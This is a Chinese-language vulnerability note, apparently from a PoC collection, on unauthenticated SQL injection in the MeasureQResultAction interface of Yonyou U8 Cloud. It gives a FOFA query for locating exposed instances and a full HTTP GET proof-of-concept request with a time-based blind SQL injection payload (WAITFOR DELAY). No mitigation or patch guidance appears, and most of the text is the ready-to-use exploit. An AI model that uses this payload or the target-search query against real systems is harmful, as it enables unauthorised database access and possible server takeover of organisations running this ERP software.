用友U8Cloud系统接口MeasureQResultAction存在SQL注入漏洞

用友U8 Cloud nc.ui.iufo.query.measurequery.MeasureQResultAction 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

fofa

title=="U8C"

poc

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close